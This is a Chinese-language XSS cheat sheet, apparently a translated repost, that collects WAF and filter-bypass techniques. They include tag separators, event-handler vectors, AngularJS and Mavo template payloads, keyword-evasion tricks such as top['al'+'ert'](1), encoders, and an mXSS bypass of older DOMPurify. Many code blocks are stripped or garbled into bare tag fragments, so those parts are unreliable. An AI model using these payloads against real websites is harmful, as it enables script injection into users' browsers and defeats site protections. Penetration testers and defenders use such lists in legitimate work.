其實,現在網絡上很多的XSS Cheat Sheet都已經過期了。很多的XSS Cheat Sheet都是直接從其他地方粘貼過來的,而且有的測試用例早在十年前就已經沒用了,但是也沒人去整理和清理。除此之外,在大多數情況下我們所遇到的情況都是這些XSS Cheat Sheet測試用例無法解決的,有可能是因為Waf,也有可能是因為XSS過濾器。當然了,如果只是一個簡單的XSS漏洞,那你需要的僅僅只是一個有效的XSS攻擊向量,而不是一堆“沒用”的東西。
因此,在這篇文章中我想給大家提供一個“與眾不同”的Cheat Sheet,在這份Cheat Sheet中我將給大家提供一份XSS技術和測試用例清單,並給出一些演示樣例。希望在各位遇到難解決的WAF或XSS過濾器時,這份Cheat Sheet能夠給大家提供一些幫助或靈感。雖然這份Cheat Sheet不能說100%完整,但是我相信這裡提供的技術是2020年絕大部分研究人員仍在使用的技術。
標籤-屬性分隔符
有些過濾器會“天真地認為”只有某些特定字符可以分隔標籤及其屬性,下面給出的是在Firefox和Chrome中能夠使用的有效分隔符的完整列表:
使用方式
一般來說,你的Payload構造如下:
你可以嘗試使用上述字符來替換‘svg’和‘onload’中間的空格,這樣就可以保證HTML仍然有效並且Payload能夠正確執行(DEMO:有效的HTML):
<code>/<code>
基於JavaScript事件的XSS
標準HTML事件
點擊事件:
使用樣例:
<code><marquee> (firefox only)<marquee> (firefox only)<marquee> (firefox only)<details> (chrome & opera only)/<details>/<marquee>/<marquee>/<marquee> /<code>
HTML5事件
點擊事件:
使用樣例:
<code><video><video><source>/<video><video><source>/<video><video><source>/<video><video><source>/<video><video><source>/<video><video><source>/<video><audio><source>/<audio><audio><source>/<audio>/<code>
基於CSS的事件
不幸的是,基於CSS來實現XSS現在已經越來越難了,我嘗試過的所有向量目前都只能在非常舊的瀏覽器上工作。因此,下面介紹的是基於CSS來觸發XSS的情況。
下面的例子使用的是style標籤來為動畫的開始和結束設置關鍵幀:
<code>XSS
XSS
/<code>
古怪的XSS向量
下面給出的是一些比較“奇葩”的XSS測試向量,這些測試向量很少見:
<code><animate> <object><iframe><object><iframe><embed><embed><embed>/<embed>/<iframe>/<object>/<iframe>/<object>/<code>
XSS多覆蓋樣例
下面我給出了幾份XSS的多段代碼,因為有的時候我們只需要輸入特定的字符,或者只需要一個基於DOM或基於非DOM的注入場景。
框架
為了攻擊JS框架,我們還需要對相關的模板語言進行研究和分析。
AngularJS
{{constructor.constructor('alert(1)')()}}
這個Payload適用於大多數場景。
Mavo
[self.alert(1)]
XSS過濾器繞過
圓括號過濾
利用HTML解析器和JS語句:
<code>/<code>
限制字符集
下面這三個站點可以將有效的JS代碼轉換為所謂的“亂碼”來繞過絕大多數的過濾器:
1、JSFuck2、JSFsck(不帶圓括號的JSFuck)3、jjencode
關鍵詞過濾
避免使用的關鍵詞:
(alert)(1)
(1,2,3,4,5,6,7,8,alert)(1)
a=alert,a(1)
[1].find(alert)
top["al”+”ert"](1)
top[/al/.source+/ert/.source](1)
alu0065rt(1)
top['al145rt'](1)
top['alx65rt'](1)
top[8680439..toString(30)](1) // Generated using parseInt("alert",30). Other bases also work
mXSS和DOM攻擊
對於XSS過濾器來說,它們基本上不可能正確地預測瀏覽器如何跟HTML以及交互庫進行數據處理的方式。因此,有的時候我們就可以將XSS Payload作為無效的HTML插入到目標頁面中,然後瀏覽器將有可能把它作為有效Payload執行,這樣就可以繞過過濾器了。
下面給出的是一個能夠繞過最常見過濾器(DOMPurify <2.0.1)的mXSS Payload:
<code>/<code> "> ">
雙重編碼
有的時候,應用程序會在字符串再次解碼之前,對其執行XSS過濾,這樣就會給我們留下實現繞過的可乘之機。
1、https://www.vulnerability-lab.com/resources/documents/531.txt2、https://portswigger.net/web-security/cross-site-scripting/cheat-sheet3、https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations4、https://cure53.de/fp170.pdf5、https://www.youtube.com/watch?v=5W-zGBKvLxk6、https://xss.pwnfunction.com/
原文鏈接:https://www.anquanke.com/post/id/198806
閱讀更多 安全客 的文章